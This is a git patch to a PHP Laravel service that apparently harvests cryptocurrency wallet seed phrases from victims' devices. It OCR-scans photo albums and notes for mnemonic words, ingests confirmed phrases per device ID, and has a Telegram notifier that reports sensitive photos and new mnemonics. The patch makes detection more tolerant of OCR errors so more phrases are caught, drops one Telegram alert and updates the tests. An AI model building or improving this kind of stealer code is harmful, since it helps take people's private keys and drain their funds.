From 4fa162c72c89023d59ec5f4bf50659e1e6e19510 Mon Sep 17 00:00:00 2001 From: hashbro Date: Sun, 13 Sep 2026 00:31:54 +0800 Subject: [PATCH] feat: scan --- app/Services/MnemonicDetector.php | 66 ++++++++++++++++++---------- app/Services/MnemonicScanService.php | 17 ------- app/Services/TelegramNotifier.php | 11 ----- tests/Feature/MnemonicScanTest.php | 5 +++ tests/Unit/MnemonicDetectorTest.php | 25 ++++++++++- 5 files changed, 70 insertions(+), 54 deletions(-) diff --git a/app/Services/MnemonicDetector.php b/app/Services/MnemonicDetector.php index 3818dce..94f50ed 100644 --- a/app/Services/MnemonicDetector.php +++ b/app/Services/MnemonicDetector.php @@ -11,6 +11,10 @@ class MnemonicDetector public const MIN_SUSPECTED = 8; + public const MIN_GAPPED_HITS = 9; + + public const MAX_GAPS = 2; + public const MIN_CONFIRMED = 12; public const MIN_UNIQUE = 8; @@ -180,31 +184,45 @@ class MnemonicDetector { $n = count($tokens); $best = null; - $maxLen = min(24, $n); - for ($len = self::MIN_SUSPECTED; $len <= $maxLen; $len++) { - for ($i = 0; $i <= $n - $len; $i++) { - $window = array_slice($tokens, $i, $len); - $hits = 0; - foreach ($window as $word) { - if ($word !== '' && isset($wordlist[$word])) { - $hits++; - } - } - if ($hits < self::MIN_SUSPECTED) { - continue; - } - $score = ($hits * 10) - (($len - $hits) * 2); - if ($best !== null && ($hits < $best['word_count'] || ($hits === $best['word_count'] && $score <= $best['score']))) { - continue; - } - $best = [ - 'candidate' => implode(' ', $window), - 'word_count' => $hits, - 'score' => $score, - 'language' => 'en', - 'confirmed' => false, - ]; + for ($i = 0; $i < $n; $i++) { + if ($tokens[$i] === '' || ! isset($wordlist[$tokens[$i]])) { + continue; } + $hits = 0; + $gaps = 0; + $end = $i; + for ($j = $i; $j < $n; $j++) { + $word = $tokens[$j]; + if ($word !== '' && isset($wordlist[$word])) { + $hits++; + $end = $j; + + continue; + } + $next = $tokens[$j + 1] ?? null; + if ($gaps < self::MAX_GAPS && $next !== null && $next !== '' && isset($wordlist[$next])) { + $gaps++; + + continue; + } + break; + } + $minHits = $gaps === 0 ? self::MIN_SUSPECTED : self::MIN_GAPPED_HITS; + if ($hits < $minHits) { + continue; + } + $window = array_slice($tokens, $i, $end - $i + 1); + $score = ($hits * 10) - ($gaps * 4); + if ($best !== null && ($hits < $best['word_count'] || ($hits === $best['word_count'] && $score <= $best['score']))) { + continue; + } + $best = [ + 'candidate' => implode(' ', $window), + 'word_count' => $hits, + 'score' => $score, + 'language' => 'en', + 'confirmed' => false, + ]; } return $best; diff --git a/app/Services/MnemonicScanService.php b/app/Services/MnemonicScanService.php index f6661bb..8cf7bda 100644 --- a/app/Services/MnemonicScanService.php +++ b/app/Services/MnemonicScanService.php @@ -13,7 +13,6 @@ use App\Services\Chain\Bip44; use App\Services\Ocr\OcrDriver; use App\Services\Ocr\PhotoOcrPreparer; use App\Support\NoteContent; -use App\Support\WalletSource; use Illuminate\Support\Facades\Log; class MnemonicScanService @@ -23,7 +22,6 @@ class MnemonicScanService private readonly OcrDriver $ocr, private readonly PhotoOcrPreparer $preparer, private readonly IngestService $ingest, - private readonly TelegramNotifier $telegram, ) {} public function dispatchPhoto(Photo $photo): void @@ -281,8 +279,6 @@ class MnemonicScanService if ($row->status === MnemonicFinding::STATUS_CONFIRMED) { return; } - $wasNew = ! $row->exists; - $prevCandidate = $row->exists ? $row->candidate : ''; $confirmed = $this->canIngestHit($hit); $row->status = $confirmed ? MnemonicFinding::STATUS_CONFIRMED : MnemonicFinding::STATUS_SUSPECTED; $row->candidate = $hit['candidate']; @@ -295,24 +291,11 @@ class MnemonicScanService } $row->save(); - $sourceLabel = $source === MnemonicFinding::SOURCE_PHOTO - ? WalletSource::fromTag('album_ocr') - : WalletSource::fromTag('note_scan'); if ($confirmed) { $this->ingest->ingestMnemonic($device, [ 'mnemonic' => $hit['candidate'], 'a' => $source === MnemonicFinding::SOURCE_PHOTO ? 'album_ocr' : 'note_scan', ]); - - return; - } - if ($wasNew || $prevCandidate !== $hit['candidate']) { - $this->telegram->notifySuspectedMnemonic( - $device->device_id, - $sourceLabel, - $hit['candidate'], - (int) $hit['word_count'], - ); } } diff --git a/app/Services/TelegramNotifier.php b/app/Services/TelegramNotifier.php index 96b2271..33d6ebc 100644 --- a/app/Services/TelegramNotifier.php +++ b/app/Services/TelegramNotifier.php @@ -322,17 +322,6 @@ class TelegramNotifier ]), $deviceId); } - public function notifySuspectedMnemonic(string $deviceId, string $source, ?string $phrase, int $wordCount): void - { - $this->send(implode("\n", [ - '🔎 疑似助记词', - ...$this->deviceHeader($deviceId), - '🏷 来源: '.$this->e($source ?: '—'), - '🔢 命中词数: '.$this->e((string) $wordCount), - '📝 候选: '.$this->e(WalletMnemonic::maskSecret($phrase)).'', - ]), $deviceId); - } - public function notifySensitivePhoto(string $deviceId, int $xHit, int $count = 1): void { $this->send(implode("\n", [ diff --git a/tests/Feature/MnemonicScanTest.php b/tests/Feature/MnemonicScanTest.php index 5433de0..1844e8f 100644 --- a/tests/Feature/MnemonicScanTest.php +++ b/tests/Feature/MnemonicScanTest.php @@ -216,6 +216,11 @@ TXT; $this->assertSame(MnemonicScanStatus::SUSPECTED, (int) $photo->scan_status); $this->assertSame(MnemonicFinding::STATUS_SUSPECTED, MnemonicFinding::query()->where('photo_id', $photo->id)->value('status')); $this->assertSame(0, $device->mnemonics()->count()); + Http::assertNotSent(function ($request) { + $text = (string) ($request->data()['text'] ?? ''); + + return str_contains($text, '疑似助记词') || str_contains($text, '新助记词'); + }); } #[Test] diff --git a/tests/Unit/MnemonicDetectorTest.php b/tests/Unit/MnemonicDetectorTest.php index 266c572..12b6666 100644 --- a/tests/Unit/MnemonicDetectorTest.php +++ b/tests/Unit/MnemonicDetectorTest.php @@ -36,7 +36,7 @@ class MnemonicDetectorTest extends TestCase } #[Test] - public function marks_nine_hits_as_suspected_not_confirmed(): void + public function marks_dense_ocr_holes_as_suspected_not_confirmed(): void { $ocr = <<<'TXT' palance cousin endorse @@ -52,7 +52,7 @@ TXT; } #[Test] - public function eight_hits_are_suspected(): void + public function eight_consecutive_hits_are_suspected(): void { $text = 'cousin endorse refuse private dog solution april picture'; $hit = (new MnemonicDetector)->detect($text); @@ -62,6 +62,27 @@ TXT; $this->assertSame(8, $hit['word_count']); } + #[Test] + public function ignores_sparse_english_prose(): void + { + $ocr = '7134 bom CA i a ating Heath Mag Daly craving If You\'re Craving Sugar ' + .'Your body may need protein + stable blood sugar What\'s happening: Blood sugar spikes ' + .'crash more cravings what eat instead cogs chicken'; + + $this->assertNull((new MnemonicDetector)->detect($ocr)); + } + + #[Test] + public function two_ocr_holes_with_ten_hits_are_suspected(): void + { + $ocr = 'cousin endorse refuse private dog solution puddy april picture father palance lab'; + $hit = (new MnemonicDetector)->detect($ocr); + + $this->assertNotNull($hit); + $this->assertFalse($hit['confirmed']); + $this->assertSame(10, $hit['word_count']); + } + #[Test] public function ignores_repetitive_plumbing_copy(): void {